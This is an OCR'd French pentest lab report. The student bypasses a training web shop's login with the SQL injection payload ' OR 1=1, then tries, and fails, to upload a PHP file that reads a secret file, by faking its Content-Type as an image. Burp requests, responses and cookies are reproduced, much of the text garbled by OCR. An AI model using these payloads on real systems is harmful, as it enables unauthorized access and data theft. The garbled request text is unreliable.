TP PENTEST
MORGAN SALHI

1ere faille :

Je suis allé dans la page de login et j'ai utilisé ce que I'on a vu en cours :
‘OR1=1; -

Avec ¢a, nous recupérons ce qu’il y a en premier dans une table sql, et c’est
géneéralement le compte administrateur.

Password*

Forgot your password?

+ Remember me

Mot yet a customer?

Je met le script dans I'email et n’importe quoi en mot de passe



User Profile

ice-sh.op

LIsermame:

o€

Set Username

File Upload:
Choisir un fichier =gyl g« =

Upload Picture

Image URL:

Link Image

Et me voila connecté.

Je peux ensuite faire des commandes avec le compte administrateur des
produits du site.



Delivery Address

Administrator

0815 Test Street, Test, Test, 4711
Your order has been placed and is Test
being processed. You can check for Phone Number 1234567890
status updates on our Track s
page.

Order Summary vy B

Product Quantity Taotal Price

Apple Juice
(1000ml)

Orange Juice
(1000ml)

Eggfruit Juice 8990 8.990
(500ml)
Items 27.91o
Delivery 0.990
FPromotion 0.000
Total Price 28.90m

You have gained 1 Bonus Points from this order!




2éme faille :

J'essaie d'injecter un fichier php a I'endroit ou je suis censé uploader une
image, pour se faire, jupload d’abord une image et jouvre 'image dans un
autre onglet pour trouver ou appeler mon fichier php plus tard.

A Non sécurisé  10.2.102.36:3 sets/public/images/uploads/1.jpg

Je trouve donc dans le lien url le chemin dans lequel se trouve I'image.

Lorsque j'uploade I'image, j’envoie la requéte dans le repeater.



FOST fprofile/image/file HTTP/1.1

Host: 10.2.102,36:3000

Content-Length: 3692

Cache-Control: max-age=0

Accept-Language: fr-FR,fr;g=0.9

Origin: http://10.2.102, 36: 3000

Content-Type: multipart/form-data; boundary=----WebkKitFormBoundarykDxUTGIMeNYUEyLG
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5. 0 (X11: Linux x86_64) ApplewebKit /537,36 (KHTHML, like Geckao)
Chrome/139.0.0.0 Safari/537.36

Accept:
text/html,applications/xhtml+xml, application/xml;g=0.9, image/avif, image /webp,image/apng, */%;q=0.
2,applications/signed-exchange:v=b3;q=0.7

Referer: http://10.2.102,36:3000/profile

Accept-Encoding: gzip, deflate, br

Cookie: welcomebanner_status=dismiss; cookieconsent_status=dismiss; language=en; continueCode=
1KbVEa 7085y x 3Y JpLkNWARKP9Xz] dS8xAvOElL ghLegVmDBMnB8roZw2alnj R9; token=

ey J0eXaAl0i IKVI0ILCIhE G101 5UzI1INL IS, ey Jzd GFOd XML 01 JzdWN] ZXNzIiwi ZGFOYSIcey JpZCIEMSwid XML cmShbw
U101 TilCIL bWFpbCIEImFkbwWl uQGplawhl LxXNolnSwIiwlcGFzc3dvemQi0l TwMThy MDIzY TdiYmQ3MzI IMDUxhmYwh]j Lk Z

£ €||> | search £ Ohighlights
‘sponse
‘etty Raw Hex Render n =

HTTP/1.1 302 Found
Access-Control-Allow-0rigin: *
¥-Content-Type-Options: nosniff
¥-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self’
¥-Recruiting: /#/jobs

Location: /fprofile

Vary: Accept, Accept-Encoding
Content -Type: text/html; charset=utf-8
Content-Length: 37

Date: Fri, 10 Oct 2025 15:44:27 GMT
Connection: keep-alive

Keep-Alive: timeout=5

=p=

Found. Redirecting to fprofile
</p=

Ici j’ai le chemin /profile/image/file, on voit également que quand on send en
bas on voit une redirection avec le code 300.

Et quand je follow la redirection on voit le code 200, donc I'image s’est bien
passé.



FET Jprofile HTTPfL1.1

Host: 10.2.102.36: 3000

Cache-Control: max-age=0

Accept-Language: fr-FR,fr;g=0.9

Origin: http://10.2.102,36:3000

Upgrade-Insecure-Requests: 1

User-Agent: Mozillas5.0 (¥11: Linux xB6_&4) AppleWsbKit /537,36 (KHTML, like Geckol
Chrome/139.0.0.0 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image avif, image /webp, imagesapng, */*; g=0.
2, application/signed-exchange;v=b3;q=0.7

Referer: http://10.2.102.36:3000/profile/image/file

Accept-Encoding: gzip, deflate, br

Cookie: welcomebanner_status=dismiss: cookieconsent_status=dismiss: language=en: continueCode=
1KbVSa7065y x3Y IJplkNWARKPSXz ] dS8x AvOEL gbLeg¥mDBMnBroZw2alnjRY; token=

ey 10eXA101LIKVIQLLCIhbGo101 JSUzI1NL IS, ey Jzd GFOd M1 01 Jz dWh] ZXNz I iwl ZGFOYSIGey Jp ZCLEMSwl d XML cmShhw
Ui01TiLCITbwWFpbhCIEImFkbWL uQGpLlawNl LEMNoLmOwIiwicGFzc3dvemQi0iIwMTkyMDIzY Tdi¥mQ3Mz I 1 MDUx MM wiNi Tk Z
JEAY] UwMCIsInIvbGUi01IhZGlphiIsImRL bHVAZVRvEa2VUTljoiliwibh GFzdExvZ 2T uSHA1 01 TiLCIwemSmawx 1l SW1hZ20U1
01 Jhe 3ML dHMycHVLb GLj LEZLtYWdl cy 91 cGxvyWRzL2RL ZmFlbHREZG1 pbiSwhmciLCI0b3RwUZV] cnVOIj ol I1wiaXNEY 3R

o) €[> | search o 0 highlights
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HTTR/1.1 200 OK

Access-Control-Allow-0Origin: #*

¥-Content-Type-Options: nosniff

¥-Frame-Options: SAMEORIGIMN

Feature-Policy: payment 'self’

¥-Recruiting: /#/jobs

Content-Security-Policy: img-src 'self' assets/public/images/uploads/1l.jpg; script-src 'self’
‘unsafe-eval' https://code.getmdl.io http:/fajax.googleapis. com
Content-Type: text/html; charset=utf-8

ETag: W/"187c-FOFGOLemyaSrWzR) gj HOpGc9BTA"

Vary: Accept-Encoding

Date: Fri, 10 Oct 2025 15:46:38 GMT

Ce que je veux faire maintenant c’est de faire passer le file .php pour qu’il
bypass la sécurité.



POST fprofilef/image/file HTTR/1.1

Host: 10.2.102.35: 3000

Content -Length: 241

Cache-Control: max-age=0

Accept-Language: fr-FR,frig=0.9

Origin: http://10.2.102.36; 3000

Content-Type: multipart/form-data; bnundary=----WebKitFormBoundaryBBDthpgmygjk4sq
Upgrade-Insecure-Requests: 1

User-Agent: MozillasS5.0 (¥11; Linux xS6 64) AppleWebKit/537.36 (KHTML, like Gecko]
Chrome/132.0.0.0 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml:g=0.9, imagesavif, image /webp, image/ apng, ¥ /¥ ; g=0,
g8,application/signed-exchange;v=h3;q=0.7

Referer: http://10.2.102.36:3000/profile

Accept-Encoding: gzip, deflate, br

Cookie: welcomebanner_status=dismiss; cookieconsent_status=dismiss; language=en; continueCode=
LKbVSa706e5y X 3Y Ip LkNW4ARKP9Xz] dS8x AvOELgbLegVmDBMnBroZw2alnjRY; token=

ey J0eXALOL IKVIO1LCIhbGe101JSUzI1NLI9, ey Jzd GROd XML 0L JzdWh] ZXNz 11wl ZCGFOYSIGey JpZCI EMSwLd XML cmShbw
U101iT1LCI bWFphCIEImFkbWl uQGplaWhl LXNoLm SwI iwlcGFzc3dvem0i0i IwMTkyMDI zYv Td1¥mQ3Mz T1IMDUx MmYwhij Lk Z
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HTTP#1.1 500 Internal Server Error
Access-Control-Allow-Origin: *
¥-Content-Type-Options: nosniff
¥-Frame-0Options: SAMEORIGIMN
Feature-Policy: payment 'self’
¥-Recruiting: f#/jobs

Content -Type: text/html; charset=utf-&
Vary: Accept-Encoding

Date: Fri, 10 Oct 2025 16:02:04 GMT
Connection: keep-alive

Keep-Alive: timeout=S

Content -Length: 10839

<html=
<head=
=meta charset="utf-8'=
<title=

Error: Illegal file type
=ftitle=

------ WebKitFormBoundaryS8B0Yfhpomyagj kdsk

Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: applicatinnfx-phq

=?php echo file_get _contents('/home/carlos/secret']; 7=

------ WebKitFormBoundary8BOYfhpamyaj kdsk - -

On voit ici que le content-Type est : application/x-php mais nous on veut qu’il
passe en tant qu'image, donc je le change a ‘image/jpeg’



------ WebKitFormBoundaryB8BOY fhpgmygi kdsk

Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: image/jpeq

=?php echo file_get contents('/sassets/public/images/uploads/'); 7=

------ WebKitFormBoundary8BOYfhpamyaj kdsk - -

I (} < |
asponse
retty Raw Hex Render

HTTP/1.1 S00 Internal Server Error
Access-Control-Allow-Origin: #
¥-Content-Type-Options: nosniff
¥-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self’
¥-Recrulting: /#/jobs

Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding

Date: Fri, 10 Oct 2025 16:19:19 GMT
Connection: keep-alive

Keep-&live: timeout=5
Content-Length: 1089

=html=
<head=
=meta charset="utf-8'=

=title=
Error: Illegal file type
=ftitle=

Malheureusement ¢a ne marche toujours pas, mais ce n’est pas pour autant

que ce que jai fait est inutile, cela veut dire qu'il faut également changer un

autre parametre

C’est ici que ¢a s'arréte, j'ai donné corps et ame pour trouver ce petit

parameétre pour me faire atteindre la gloire, mais en vain.



